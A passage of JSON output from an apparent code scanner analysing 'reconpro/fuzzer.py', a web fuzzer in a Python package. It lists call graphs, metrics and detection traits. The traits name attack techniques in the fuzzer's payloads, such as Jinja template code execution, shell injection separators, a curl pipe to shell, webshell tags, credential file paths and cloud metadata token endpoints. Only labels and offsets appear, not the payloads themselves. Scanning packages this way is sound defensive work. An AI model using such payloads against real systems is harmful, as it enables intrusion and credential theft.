"_CMD_INJECTION_PATTERN.search" ], [ "", "match.group" ], [ "", "_PATH_TRAVERSAL_PATTERN.search" ], [ "", "match.group" ], [ "", "_XSS_PATTERN.search" ], [ "", "match.group" ], [ "", "_SSTI_PATTERN.search" ], [ "", "match.group" ], [ "", "_LFI_PATTERN.search" ], [ "", "match.group" ], [ "", "_RFI_PATTERN.search" ], [ "", "match.group" ], [ "", "len" ], [ "", "len" ], [ "", "self.get_vulnerable" ], [ "", "by_category.get" ], [ "", "by_classification.get" ], [ "", "self.tech_profile.to_dict" ], [ "", "urllib.parse.urlparse" ], [ "", "ssl.create_default_context" ], [ "", "urllib.request.HTTPSHandler" ], [ "", "urllib.request.build_opener" ], [ "", "urllib.request.build_opener" ], [ "", "urllib.request.Request" ], [ "", "opener.open" ], [ "", "resp.read.decode" ], [ "", "resp.read" ], [ "", "dict" ], [ "", "TechDetector" ], [ "", "detector.analyze" ], [ "", "FuzzSession" ], [ "", "session.fuzz_all_parameters" ], [ "", "set" ], [ "", "PAYLOAD_DATABASE.items" ], [ "", "subcats.items" ], [ "", "seen.add" ], [ "", ".http_layer" ], [ "", ".http_layer._unverified_context" ], [ "", "Optional" ], [ "", "dataclass" ], [ "", "dataclasses" ], [ "", "field" ], [ "", "json" ], [ "", "re" ], [ "", "ssl" ], [ "", "time" ], [ "", "typing" ], [ "", "urllib.error" ], [ "", "urllib.parse" ], [ "", "urllib.request" ] ], "mbr": [ "PAYLOAD_DATABASE.items", "PAYLOAD_DATABASE.keys", "TECH_SIGNATURES.cookies", "TECH_SIGNATURES.file_extensions", "TECH_SIGNATURES.headers", "TECH_SIGNATURES.html_meta", "TECH_SIGNATURES.js_libraries", "TECH_SIGNATURES.url_patterns", "TECH_SIGNATURES.waf_signatures", "_CMD_INJECTION_PATTERN.search", "_LFI_PATTERN.search", "_PATH_TRAVERSAL_PATTERN.search", "_RFI_PATTERN.search", "_SSTI_PATTERN.search", "_XSS_PATTERN.search", "all_results.extend", "by_category.get", "by_classification.get", "cat_payloads.generic", "cat_payloads.get", "cat_payloads.items", "cat_payloads.mssql", "cat_payloads.mysql", "cat_payloads.oracle", "cat_payloads.postgres", "cat_payloads.sqlite", "cookie_header.lower", "cookie_name.lower", "cookie_signatures.items", "detector.analyze", "e.code", "e.headers", "e.read", "e.read.decode", "ext_signatures.items", "header_key.split", "header_map.items", "header_signatures.items", "header_val.lower", "headers.get", "html.lower", "js_path.lower", "js_signatures.items", "mapping.get", "mapping.items", "mapping.values", "match.group", "match.group.strip", "match.group.strip.lower", "meta_signatures.items", "opener.open", "parsed.netloc", "parsed.path", "parsed.path.lower", "parsed.scheme", "parts.append", "path.endswith", "pattern.lower", "pattern.search", "r.category", "r.classification", "r.is_vulnerable", "re.IGNORECASE", "re.Pattern", "re.compile", "re.escape", "re.search", "req_headers.update", "resp.headers", "resp.read", "resp.read.decode", "resp.status", "result.category", "result.classification", "result.is_vulnerable", "result.matched_pattern", "result.param", "result.payload", "result.payload.replace", "result.payload.replace.replace", "result.payload.replace.replace.replace", "result.payload.replace.replace.replace.replace", "result.response_time", "result.status_code", "result.url", "results.append", "seen.add", "selected.append", "self._analyze_cookies", "self._analyze_headers", "self._analyze_html", "self._analyze_js_files", "self._analyze_response", "self._analyze_url", "self._analyze_url_paths", "self._base_time", "self._baseline_status", "self._build_opener", "self._cms", "self._confidence", "self._frameworks", "self._frameworks.add", "self._has_graphql", "self._has_rest_api", "self._hits", "self._language", "self._make_request", "self._opener", "self._opener.open", "self._reset", "self._server", "self._waf", "self.category", "self.classification", "self.cms", "self.confidence", "self.frameworks", "self.fuzz_parameter", "self.get_vulnerable", "self.has_graphql", "self.has_rest_api", "self.is_vulnerable", "self.language", "self.matched_pattern", "self.param", "self.payload", "self.response_time", "self.results", "self.results.extend", "self.select_payloads", "self.server", "self.status_code", "self.target", "self.tech_profile", "self.tech_profile.to_dict", "self.timeout", "self.url", "self.user_agent", "self.verify_ssl", "self.waf", "session._baseline_status", "session.fuzz_all_parameters", "ssl.create_default_context", "subcats.items", "target.lower", "target.rstrip", "time.monotonic", "tp.cms", "tp.frameworks", "tp.language", "tp.server", "tp.server.lower", "url_patterns.items", "urllib.error", "urllib.error.HTTPError", "urllib.error.URLError", "urllib.parse", "urllib.parse.urlencode", "urllib.parse.urlencode.encode", "urllib.parse.urlparse", "urllib.request", "urllib.request.HTTPSHandler", "urllib.request.OpenerDirector", "urllib.request.Request", "urllib.request.build_opener" ], "tgt": [ "FuzzResult", "FuzzSession", "PAYLOAD_DATABASE.items", "PAYLOAD_DATABASE.keys", "TechDetector", "TechProfile", "_CMD_INJECTION_PATTERN.search", "_LFI_PATTERN.search", "_PATH_TRAVERSAL_PATTERN.search", "_RFI_PATTERN.search", "_SSTI_PATTERN.search", "_XSS_PATTERN.search", "_add", "_unverified_context", "all_results.extend", "any", "by_category.get", "by_classification.get", "cat_payloads.get", "cat_payloads.items", "cookie_header.lower", "cookie_name.lower", "cookie_signatures.items", "detector.analyze", "dict", "e.read", "e.read.decode", "ext_signatures.items", "field", "hasattr", "header_key.split", "header_map.items", "header_signatures.items", "header_val.lower", "headers.get", "html.lower", "isinstance", "js_path.lower", "js_signatures.items", "len", "list", "mapping.get", "mapping.items", "mapping.values", "match.group", "match.group.strip", "match.group.strip.lower", "meta_signatures.items", "min", "opener.open", "parsed.path.lower", "parts.append", "path.endswith", "pattern.lower", "pattern.search", "re.compile", "re.escape", "re.search", "req_headers.update", "resp.read", "resp.read.decode", "result.payload.replace", "result.payload.replace.replace", "result.payload.replace.replace.replace", "result.payload.replace.replace.replace.replace", "results.append", "seen.add", "selected.append", "self._analyze_cookies", "self._analyze_headers", "self._analyze_html", "self._analyze_js_files", "self._analyze_response", "self._analyze_url", "self._analyze_url_paths", "self._build_opener", "self._frameworks.add", "self._make_request", "self._opener.open", "self._reset", "self.fuzz_parameter", "self.get_vulnerable", "self.results.extend", "self.select_payloads", "self.tech_profile.to_dict", "session.fuzz_all_parameters", "set", "ssl.create_default_context", "subcats.items", "target.lower", "target.rstrip", "time.monotonic", "tp.server.lower", "url_patterns.items", "urllib.parse.urlencode", "urllib.parse.urlencode.encode", "urllib.parse.urlparse", "urllib.request.HTTPSHandler", "urllib.request.Request", "urllib.request.build_opener" ], "funcs": [ [ "to_dict", 36127 ], [ "__repr__", 36496 ], [ "__init__", 37656 ], [ "_reset", 37711 ], [ "analyze", 38100 ], [ "_analyze_headers", 39103 ], [ "_analyze_html", 41844 ], [ "_analyze_cookies", 43452 ], [ "_analyze_url", 44853 ], [ "_analyze_js_files", 46155 ], [ "_analyze_url_paths", 46560 ], [ "to_dict", 47820 ], [ "__repr__", 48264 ], [ "__init__", 52496 ], [ "_build_opener", 53093 ], [ "_make_request", 53621 ], [ "calibrate", 55575 ], [ "get_all_categories", 55830 ], [ "select_payloads", 55988 ], [ "_add", 56725 ], [ "fuzz_parameter", 61873 ], [ "fuzz_headers", 63351 ], [ "fuzz_all_parameters", 64512 ], [ "analyze_response", 65143 ], [ "get_vulnerable", 71145 ], [ "summary", 71350 ], [ "quick_scan", 72692 ], [ "get_payload_count", 74370 ] ], "metrics": { "ast": { "op.add": 23, "op.bor": 1, "op.lor": 14, "op.mul": 2, "op.sub": 3, "op.land": 30, "max_depth": 22, "call_count": 262, "node_count": 14250, "member_count": 165, "max_array_len": 50, "op_density.add": 0, "op_density.bor": 0, "op_density.lor": 0, "op_density.mul": 0, "op_density.sub": 0, "op_density.land": 0, "max_concat_chain": 2, "member_depth_max": 6 }, "file": { "size": 74752, "entropy": 4.95 }, "text": { "lines": 1750, "top_char": 101, "max_ws_run": 1, "digit_ratio": 0.04, "space_count": 19918, "char_entropy": 4.95, "unique_chars": 98, "top_char_null": 0, "escape_density": 0.01, "lines_over_200": 18, "string_density": 0.71, "top_char_ratio": 0.05, "ascii_art_lines": 5, "avg_line_length": 41.72, "max_line_length": 236, "non_ascii_ratio": 0.09, "empty_line_ratio": 0.09, "last_line_length": 16, "long_token_count": 35, "whitespace_ratio": 0.29, "identifier_density": 1.07, "line_length_stddev": 34.4, "encoded_string_ratio": 0.02, "unicode_escape_count": 9, "normalized_string_count": 29.62, "repeated_char_sequences": 947, "suspicious_string_ratio": 0.08, "suspicious_comment_ratio": 0.04, "suspicious_identifier_ratio": 0.01, "normalized_unique_identifiers": 21.91 }, "binds": { "count": 230 }, "binary": { "peak_region_bytes": 9216, "peak_region_entropy": 5.26 }, "source": { "class_count": 4, "function_count": 25 }, "imports": { "count": 14, "relative": 2, "stdlib_count": 9, "stdlib_ratio": 0.64, "relative_ratio": 0.14, "third_party_count": 5, "third_party_ratio": 0.36 }, "strings": { "hex": 3, "sql": 79, "bytes": 25100, "count": 1239, "shell": 9, "url_count": 67, "avg_length": 20.26, "max_length": 480, "path_count": 84, "avg_entropy": 2.93, "email_count": 4, "empty_count": 31, "url_encoded": 16, "domain_count": 14, "entropy_stddev": 0.98, "high_entropy_count": 19, "embedded_code_candidates": 8 }, "comments": { "chars": 9432, "count": 84, "lines": 84, "high_entropy": 3, "to_code_ratio": 0.05 }, "functions": { "count": 29, "nested": 1, "density": 1.6, "avg_params": 2.36, "code_ratio": 0.44, "max_params": 6, "length_stddev": 30.9, "over_100_lines": 2, "avg_name_length": 11.86, "no_params_count": 1, "avg_length_lines": 27.54, "max_length_lines": 129, "min_length_lines": 2, "avg_nesting_depth": 0.04, "max_nesting_depth": 1, "high_entropy_names": 2, "avg_param_name_length": 6.3 }, "identifiers": { "count": 1869, "unique": 236, "avg_length": 8.68, "max_length": 23, "min_length": 1, "avg_entropy": 2.57, "reuse_ratio": 0.13, "length_stddev": 4.51, "sequential_names": 3, "single_char_count": 4, "single_char_ratio": 0.02, "high_entropy_count": 7, "high_entropy_ratio": 0.03, "all_lowercase_ratio": 0.89, "all_uppercase_ratio": 0.06, "double_underscore_count": 2, "underscore_prefix_count": 37 } } }, "id": 45, "mol": "O₁₀(Ca₃Xe₅As₂C₂ErEu₂ILa₂PrS)H₆(Cm₂₄Db₅F₁₁Os₃Po₂U)Md₃(Pa)Th", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/fuzzer.py", "pid": 0, "risk": 449, "sha": "ff9b4ab1ec3929f4b74b7f906937eed5cef9bd10bf600390771d8db410176e1d", "size": 74752, "traits": [ { "id": "metadata/lang/natural::lang-english--atom-5", "conf": 0.8, "crit": 1, "desc": "English function-word token \"for\"", "spans": [ [ 18594, 0 ] ] }, { "id": "objectives/execution/exploit/sandbox-escape::python-runtime-subclass-enumeration", "atk": "T1059.006,T1203", "conf": 0.96, "crit": 3, "desc": "Python enumerates runtime subclasses", "spans": [ [ 18629, 16 ] ] }, { "id": "objectives/execution/exploit/sandbox-escape::python-object-module-builtins-access", "atk": "T1059.006,T1203", "conf": 0.99, "crit": 4, "desc": "Python object accesses its module builtins", "spans": [ [ 18685, 22 ] ] }, { "id": "objectives/execution/exploit/sandbox-escape::python-recovered-import-command-call", "atk": "T1059.006,T1203", "conf": 0.99, "crit": 4, "desc": "Recovered Python import invokes command sink", "spans": [ [ 18694, 39 ] ] }, { "id": "objectives/execution/interpreter/eval/remote::jinja-builtins-traversal", "atk": "T1059.006,T1190", "conf": 0.98, "crit": 4, "desc": "Jinja traversal reaches Python builtins", "spans": [ [ 18262, 84 ], [ 18680, 67 ] ] }, { "id": "objectives/execution/interpreter/eval/remote::jinja-os-command-sink", "atk": "T1059.006,T1190", "conf": 0.98, "crit": 4, "desc": "Jinja object traversal reaches shell", "spans": [ [ 18262, 69 ], [ 18680, 52 ] ] }, { "id": "objectives/execution/interpreter/eval/remote::jinja-globals-traversal", "atk": "T1059.006,T1190", "conf": 0.97, "crit": 4, "desc": "Jinja traversal reaches Python globals", "spans": [ [ 18262, 84 ] ] }, { "id": "objectives/execution/interpreter/eval/remote::jinja-template-code-execution", "atk": "T1059.006,T1190", "mbc": "B0024", "conf": 0.995, "crit": 5, "desc": "Jinja object traversal executes Python code", "uses": [ 4, 5, 6 ], "spans": [ [ 18262, 84 ] ] }, { "id": "objectives/privilege-escalation/exploit/keywords::img-onerror-handler", "atk": "T1059.007", "mbc": "E1090", "conf": 0.9, "crit": 3, "desc": "Image onerror event handler", "spans": [ [ 16372, 19 ] ] }, { "id": "micro-behaviors/ui/window/navigation::browser-location-external-assign", "conf": 0.82, "crit": 3, "desc": "Assigns external URL to location", "spans": [ [ 16392, 25 ] ] }, { "id": "metadata/file/catalog/service::service-name-github", "conf": 0.6, "crit": 3, "desc": "GitHub service name", "spans": [ [ 2465, 6 ] ] }, { "id": "metadata/file/encoded::embedded-code-candidates-6", "conf": 0.8, "crit": 3, "desc": "Source has 6+ code-like string candidates", "spans": [ [ 0, 39 ] ] }, { "id": "metadata/file/string/cloud::aws-user-data-endpoint", "conf": 0.9, "crit": 3, "desc": "AWS EC2 user-data endpoint", "spans": [ [ 20335, 39 ] ] }, { "id": "metadata/file/string/cloud::cloud-instance-metadata-link-local-host", "conf": 0.88, "crit": 3, "desc": "Cloud instance metadata link-local address", "spans": [ [ 20115, 15 ] ] }, { "id": "metadata/file/string/cloud::gcp-service-account-token-path", "conf": 0.9, "crit": 3, "desc": "GCP service account access token path", "spans": [ [ 21217, 59 ] ] }, { "id": "metadata/file/string/cloud::gcp-service-accounts-metadata-path", "conf": 0.9, "crit": 3, "desc": "GCP service accounts metadata path", "spans": [ [ 20903, 45 ] ] }, { "id": "metadata/file/string/file::tmp", "conf": 0.2, "crit": 1, "desc": "tmp keyword", "spans": [ [ 28028, 0 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-1", "conf": 0.8, "crit": 1, "desc": "English function-word token \"the\"", "spans": [ [ 151, 0 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-2", "conf": 0.8, "crit": 1, "desc": "English function-word token \"and\"", "spans": [ [ 11061, 0 ], [ 33983, 0 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-3", "conf": 0.8, "crit": 1, "desc": "English function-word token \"that\"", "spans": [ [ 52413, 0 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-4", "conf": 0.8, "crit": 1, "desc": "English function-word token \"have\"", "spans": [ [ 49185, 0 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-6", "conf": 0.8, "crit": 1, "desc": "English function-word token \"with\"", "spans": [ [ 62121, 0 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-7", "conf": 0.8, "crit": 1, "desc": "English function-word token \"this\"", "spans": [ [ 16747, 0 ] ] }, { "id": "metadata/package/testing/corpus::lfi-category-label", "conf": 0.9, "crit": 3, "desc": "LFI attack category label", "spans": [ [ 7130, 3 ] ] }, { "id": "metadata/package/testing/corpus::ssrf-category-label", "conf": 0.9, "crit": 3, "desc": "SSRF attack category label", "spans": [ [ 19949, 4 ] ] }, { "id": "metadata/package/testing/corpus::xss-category-label", "conf": 0.9, "crit": 3, "desc": "XSS attack category label", "spans": [ [ 14903, 3 ] ] }, { "id": "micro-behaviors/communications/http/auth::sharepoint-auth-session-cookie", "conf": 0.94, "crit": 3, "desc": "SharePoint or ASP.NET auth session cookie", "spans": [ [ 3786, 17 ] ] }, { "id": "micro-behaviors/communications/http/browser-automation::authentication-token-name-literal", "conf": 0.9, "crit": 3, "desc": "Authentication token name literal", "spans": [ [ 4231, 23 ] ] }, { "id": "micro-behaviors/communications/http/curl::curl-command-remote-url", "conf": 0.85, "crit": 3, "desc": "curl command names a routable remote URL", "spans": [ [ 24831, 21 ] ] }, { "id": "micro-behaviors/communications/http/graphql::api-route", "conf": 0.92, "crit": 3, "desc": "GraphQL API route request", "spans": [ [ 4762, 12 ] ] }, { "id": "micro-behaviors/communications/http/jwt::jwt-hs256-algorithm-field", "conf": 0.97, "crit": 3, "desc": "JWT selects the HS256 signature algorithm", "spans": [ [ 29061, 13 ], [ 29120, 36 ] ] }, { "id": "micro-behaviors/communications/http/lib/urllib::urllib-request-data-body", "conf": 0.9, "crit": 3, "desc": "urllib Request carries an HTTP body", "spans": [ [ 54579, 79 ] ] }, { "id": "micro-behaviors/communications/http/lib/urllib::urllib-request-symbol", "conf": 0.82, "crit": 3, "desc": "urllib.request.Request symbol", "spans": [ [ 54579, 22 ] ] }, { "id": "micro-behaviors/communications/http/lib/urllib::urllib-urlencode", "conf": 0.85, "crit": 3, "desc": "urllib urlencode for data serialization", "spans": [ [ 53990, 23 ] ] }, { "id": "micro-behaviors/communications/http/login::http-login-username-field", "atk": "T1071.001", "conf": 0.86, "crit": 1, "desc": "HTTP login username field", "spans": [ [ 28824, 48 ], [ 29028, 0 ] ] }, { "id": "micro-behaviors/communications/http/post::post", "atk": "T1071.001", "mbc": "C0002", "conf": 0.7, "crit": 3, "desc": "HTTP POST method string literal", "spans": [ [ 54407, 6 ] ] }, { "id": "micro-behaviors/communications/http/services/aws::ec2-imds-iam-credentials-endpoint", "conf": 0.9, "crit": 3, "desc": "EC2 instance-metadata IAM credentials endpoint", "spans": [ [ 20171, 57 ] ] }, { "id": "micro-behaviors/communications/http/services/cloud::gcp-metadata-endpoint-reference", "conf": 0.9, "crit": 3, "desc": "Google Cloud metadata host reference", "spans": [ [ 20728, 24 ] ] }, { "id": "micro-behaviors/communications/http/services/cloud::repeated-public-cloud-provider-name--cloudflare", "conf": 0.4, "crit": 3, "desc": "Public cloud provider name (Cloudflare)", "spans": [ [ 2127, 10 ] ] }, { "id": "micro-behaviors/communications/http/services/cloud::repeated-public-cloud-provider-name--fastly", "conf": 0.4, "crit": 3, "desc": "Public cloud provider name (Fastly)", "spans": [ [ 2966, 6 ] ] }, { "id": "micro-behaviors/communications/http/services/entra-directory::user-collection-path-token", "conf": 0.92, "crit": 3, "desc": "Microsoft Graph user collection endpoint", "spans": [ [ 21351, 6 ] ] }, { "id": "micro-behaviors/communications/http/services/github::github-graphql-path-option", "conf": 0.94, "crit": 3, "desc": "GitHub GraphQL request path option", "spans": [ [ 4699, 8 ] ] }, { "id": "micro-behaviors/communications/http/token-auth::jwt-rsa-algorithm-field", "conf": 0.9, "crit": 3, "desc": "RSA algorithm field", "spans": [ [ 29615, 13 ] ] }, { "id": "micro-behaviors/communications/http/token-auth::jwt-unsecured-algorithm", "conf": 0.98, "crit": 3, "desc": "Unsecured alg none setting", "spans": [ [ 29001, 12 ] ] }, { "id": "micro-behaviors/communications/http/token-auth::jwt-x5t-key-identifier-field", "conf": 0.92, "crit": 3, "desc": "x5t key identifier field", "spans": [ [ 29999, 6 ] ] }, { "id": "micro-behaviors/communications/http/url/forge::github-raw-url", "conf": 0.92, "crit": 3, "desc": "GitHub raw-content URL", "spans": [ [ 9684, 34 ] ] }, { "id": "micro-behaviors/communications/http/url/path::loopback-https-url-or-proxy-text", "conf": 0.9, "crit": 3, "desc": "Loopback HTTPS URL or proxy token", "spans": [ [ 30969, 17 ], [ 31048, 17 ] ] }, { "id": "micro-behaviors/communications/http/url/query::ai-prompt-query-remote-url-value", "conf": 0.95, "crit": 3, "desc": "Query value contains a remote URL", "spans": [ [ 21787, 18 ] ] }, { "id": "micro-behaviors/communications/http/url/query::query-serializer-call", "conf": 0.9, "crit": 3, "desc": "Calls a URL query serializer", "spans": [ [ 53990, 22 ] ] }, { "id": "micro-behaviors/communications/socket/ssl::python-ssl-default-context", "conf": 0.85, "crit": 3, "desc": "Python creates a default TLS context", "spans": [ [ 73479, 26 ] ] }, { "id": "micro-behaviors/data/control-flow/error-handling::silent-exception-pass", "atk": "T1027", "mbc": "C0027", "conf": 0.85, "crit": 3, "desc": "exception suppression via try/except pass", "spans": [ [ 74023, 34 ] ] }, { "id": "micro-behaviors/data/control-flow/membership::not-in-membership-check", "conf": 0.3, "crit": 3, "desc": "Python not-in membership check", "spans": [ [ 56542, 36 ], [ 56811, 17 ] ] }, { "id": "micro-behaviors/data/db/sql::sql-delete-clause", "conf": 0.5, "crit": 3, "desc": "SQL DELETE statement clause", "spans": [ [ 33799, 23 ] ] }, { "id": "micro-behaviors/data/db/sql::sql-exec-system-procedure", "conf": 0.92, "crit": 3, "desc": "SQL EXEC system-procedure marker", "spans": [ [ 14759, 16 ] ] }, { "id": "micro-behaviors/data/serialize/envelope::json-payload-field", "conf": 0.9, "crit": 3, "desc": "JSON object payload field fragment", "spans": [ [ 47876, 10 ] ] }, { "id": "micro-behaviors/data/serialize/envelope::result-assignment-key", "conf": 0.4, "crit": 1, "desc": "Result field or assignment key", "spans": [ [ 47500, 0 ] ] }, { "id": "micro-behaviors/data/serialize/schema-object::user-field-key", "conf": 0.9, "crit": 3, "desc": "JSON-like user identity field", "spans": [ [ 28824, 48 ], [ 29028, 7 ] ] }, { "id": "micro-behaviors/data/string/search::compiled-python-pattern-set", "conf": 0.9, "crit": 3, "desc": "Compiles a set of Python regex patterns", "spans": [ [ 49168, 11 ] ] }, { "id": "micro-behaviors/fs/path/account-db::credential-config-path-corpus--etc", "atk": "T1552.001", "conf": 0.85, "crit": 3, "desc": "Etc account database path", "spans": [ [ 23259, 28 ] ] }, { "id": "micro-behaviors/fs/path/config/accounts::unix-account-database-path-reference", "conf": 0.95, "crit": 3, "desc": "Unix account database path reference", "spans": [ [ 7513, 11 ], [ 7555, 11 ] ] }, { "id": "micro-behaviors/fs/path/filename-credential::windows-sam-hive-path", "conf": 0.97, "crit": 3, "desc": "References Windows SAM hive path", "spans": [ [ 8540, 27 ] ] }, { "id": "micro-behaviors/fs/path/location::media-mount-path", "atk": "T1083", "conf": 0.9, "crit": 3, "desc": "References the /media removable-mount root", "spans": [ [ 4551, 8 ] ] }, { "id": "micro-behaviors/fs/path/log/system::four-var-log-path-references", "conf": 0.84, "crit": 3, "desc": "Contains four system log path references", "spans": [ [ 8195, 17 ], [ 8243, 15 ], [ 8289, 27 ], [ 8347, 25 ] ] }, { "id": "micro-behaviors/fs/path/log/system::log-var", "conf": 0.66, "crit": 3, "desc": "References messages, secure, or auth log", "spans": [ [ 8195, 17 ] ] }, { "id": "micro-behaviors/fs/path/temp::tmp-jar-path", "conf": 0.7, "crit": 3, "desc": "Temporary directory path ending in .jar", "spans": [ [ 28027, 13 ] ] }, { "id": "micro-behaviors/fs/path/temp::unix-temp", "conf": 0.7, "crit": 2, "desc": "Unix /tmp/ path reference", "spans": [ [ 28027, 0 ] ] }, { "id": "micro-behaviors/fs/proc/info/path::process-self-environ", "conf": 0.92, "crit": 3, "desc": "References own process environment procfs path", "spans": [ [ 7962, 18 ] ] }, { "id": "micro-behaviors/os/network/status::ipconfig", "conf": 0.75, "crit": 3, "desc": "Windows ipconfig command reference", "spans": [ [ 25169, 10 ] ] }, { "id": "micro-behaviors/os/privilege/check::source-privileged-account-reference", "conf": 0.86, "crit": 3, "desc": "Source references a privileged account", "spans": [ [ 4310, 5 ], [ 4517, 13 ], [ 28824, 48 ] ] }, { "id": "micro-behaviors/os/sysinfo/process::systeminfo-token", "atk": "T1082", "conf": 0.72, "crit": 3, "desc": "systeminfo command/string token", "spans": [ [ 25227, 10 ] ] }, { "id": "micro-behaviors/process/create/channel-agent::ai-agent-message-receive-c", "atk": "T1059", "mbc": "B0022", "conf": 0.86, "crit": 3, "desc": "Agent incoming-message handler", "spans": [ [ 13629, 15 ] ] }, { "id": "micro-behaviors/process/create/shell/pipeline::pipeline-terminates-in-shell", "atk": "T1027,T1059.004", "mbc": "B0032", "conf": 0.8, "crit": 3, "desc": "Pipeline terminates in a shell", "spans": [ [ 24861, 3 ] ] }, { "id": "objectives/anti-static/obfuscation/payload/bytecode::import-dunder", "conf": 1.0, "crit": 3, "desc": "__import__ function", "spans": [ [ 18262, 84 ], [ 18591, 128 ], [ 18956, 38 ], [ 19137, 72 ] ] }, { "id": "objectives/anti-static/obfuscation/payload/encrypted::aes-key-field-token", "atk": "T1573.001,T1027", "mbc": "C0027", "conf": 0.8, "crit": 3, "desc": "AES or generic key field name", "spans": [ [ 18525, 10 ] ] }, { "id": "objectives/command-and-control/backdoor/webshell/embedded::php-open-tag-literal", "atk": "T1505.003", "mbc": "B0030", "conf": 0.9, "crit": 3, "desc": "PHP open tag in source string", "spans": [ [ 9830, 36 ] ] }, { "id": "objectives/command-and-control/backdoor/webshell/embedded::php-request-superglobal", "atk": "T1505.003", "mbc": "B0030", "conf": 0.9, "crit": 3, "desc": "PHP request superglobal access", "spans": [ [ 9830, 36 ] ] }, { "id": "objectives/command-and-control/dropper/sideload::certutil-exe-path-target", "atk": "T1574.002,T1105", "conf": 0.85, "crit": 3, "desc": "certutil command references an EXE path", "spans": [ [ 25290, 57 ] ] }, { "id": "objectives/credential-access/dump/system::routeros-api-user-print", "atk": "T1003", "conf": 0.92, "crit": 3, "desc": "RouterOS API user print", "spans": [ [ 4626, 7 ] ] }, { "id": "objectives/credential-access/dump/system::windows-ntds-database-path", "atk": "T1003", "conf": 0.97, "crit": 4, "desc": "Windows guest NTDS database path", "spans": [ [ 8707, 21 ] ] }, { "id": "objectives/evasion/masquerade/extension-mismatch::quoted-interpreter-argv-head", "atk": "T1036.008", "conf": 0.9, "crit": 1, "desc": "Quoted interpreter opens an argv list", "spans": [ [ 1575, 0 ] ] }, { "id": "objectives/evasion/masquerade/traffic::browser-html-accept-header", "atk": "T1071.001", "mbc": "B0030", "conf": 0.8, "crit": 3, "desc": "Browser HTML Accept header literal", "spans": [ [ 54147, 31 ] ] }, { "id": "objectives/evasion/security-bypass/waf::akamai-name-reference", "conf": 0.9, "crit": 1, "desc": "References Akamai", "spans": [ [ 6580, 0 ] ] }, { "id": "objectives/evasion/security-bypass/waf::imperva-name-reference", "conf": 0.9, "crit": 1, "desc": "References Imperva or Incapsula", "spans": [ [ 6432, 0 ] ] }, { "id": "objectives/execution/automation/agent::vulnerability-state-marker-vulnerable", "atk": "T1059,T1190,T1595", "conf": 0.82, "crit": 3, "desc": "Vulnerable or CVE state marker", "spans": [ [ 71235, 12 ] ] }, { "id": "objectives/execution/exploit/http-command-injection::shell-backtick-command-string-literal", "atk": "T1059,T1190", "mbc": "B0024", "conf": 0.98, "crit": 3, "desc": "Backtick shell command string", "spans": [ [ 24499, 6 ] ] }, { "id": "objectives/execution/exploit/http-command-injection::shell-control-string-literal", "atk": "T1059,T1190", "mbc": "B0024", "conf": 0.9, "crit": 3, "desc": "Shell separator plus command token", "spans": [ [ 24439, 4 ], [ 24459, 4 ], [ 24520, 5 ] ] }, { "id": "objectives/execution/exploit/http-command-injection::shell-parenthesized-command-string-literal", "atk": "T1059,T1190", "mbc": "B0024", "conf": 0.98, "crit": 3, "desc": "Parenthesized shell command string", "spans": [ [ 24479, 5 ] ] }, { "id": "objectives/execution/interpreter/cmd/injection::command-injection-comments", "atk": "T1059.006", "conf": 0.75, "crit": 3, "desc": "Command injection vulnerability comments", "spans": [ [ 24206, 17 ] ] }, { "id": "objectives/exfiltration/http/hardcoded-key::urllib-payload-argument", "atk": "T1041", "mbc": "C0002", "conf": 0.86, "crit": 3, "desc": "urllib request payload argument", "spans": [ [ 54579, 33 ] ] }, { "id": "objectives/exfiltration/side-channel/web-assets::web-asset-filename", "atk": "T1041", "conf": 0.8, "crit": 3, "desc": "Common web asset filename", "spans": [ [ 5492, 13 ] ] }, { "id": "objectives/impact/ransom/encrypt/filesystem::python-variable-extension-check", "atk": "T1486", "mbc": "B0040", "conf": 0.82, "crit": 3, "desc": "Python file/path extension check", "spans": [ [ 46818, 18 ] ] }, { "id": "objectives/lateral-movement/brute-force/password::netscaler-default-users--superadmin", "atk": "T1110.001", "conf": 0.9, "crit": 3, "desc": "NetScaler default users (superadmin)", "spans": [ [ 28824, 48 ] ] }, { "id": "objectives/lateral-movement/exploit/scanner::file-inclusion-probe-payload", "atk": "T1210", "conf": 0.9, "crit": 3, "desc": "Local-file inclusion probe payload", "spans": [ [ 7513, 11 ], [ 9086, 12 ] ] }, { "id": "objectives/lateral-movement/exploit/scanner::internal-cloud-probe-payload", "atk": "T1210", "conf": 0.9, "crit": 3, "desc": "Cloud metadata endpoint probe payload", "spans": [ [ 20115, 15 ], [ 20728, 24 ] ] }, { "id": "objectives/lateral-movement/exploit/scanner::shell-endpoint", "atk": "T1210", "conf": 0.6, "crit": 3, "desc": "Webshell path (shell.php/jsp) in URL", "spans": [ [ 9960, 9 ] ] }, { "id": "objectives/lateral-movement/exploit/scanner::wp-admin-endpoint-url", "atk": "T1210", "conf": 0.7, "crit": 3, "desc": "WordPress admin endpoint path", "spans": [ [ 4306, 9 ] ] }, { "id": "metadata/file/string/cloud::aws-metadata-endpoint", "conf": 0.85, "crit": 3, "desc": "AWS EC2 metadata endpoint", "spans": [ [ 20115, 32 ] ] }, { "id": "metadata/file/string/cloud::azure-managed-identity-token-path", "conf": 0.9, "crit": 3, "desc": "Azure managed identity token endpoint", "spans": [ [ 21733, 31 ] ] }, { "id": "metadata/file/string/cloud::azure-metadata-endpoint", "conf": 0.85, "crit": 3, "desc": "Azure IMDS endpoint", "spans": [ [ 21419, 33 ] ] }, { "id": "micro-behaviors/communications/http/client/library::urllib-request", "conf": 0.8, "crit": 3, "desc": "Imports Python urllib.request HTTP client", "spans": [ [ 439, 14 ] ] }, { "id": "micro-behaviors/communications/http/cookies::python-response-set-cookie-header-read", "conf": 0.95, "crit": 3, "desc": "Python response object reads Set-Cookie header", "spans": [ [ 43537, 11 ] ] }, { "id": "micro-behaviors/communications/http/download/curl::curl-cmd", "atk": "T1105", "conf": 0.7, "crit": 2, "desc": "curl command includes URL or option", "spans": [ [ 24830, 0 ] ] }, { "id": "micro-behaviors/communications/http/download/url::executable-url-reference-a", "conf": 0.88, "crit": 3, "desc": "URL path ends in a Windows executable", "spans": [ [ 25319, 28 ] ] }, { "id": "micro-behaviors/communications/http/lib/urllib::urllib-word", "conf": 0.75, "crit": 3, "desc": "References Python urllib HTTP client", "spans": [ [ 53120, 15 ] 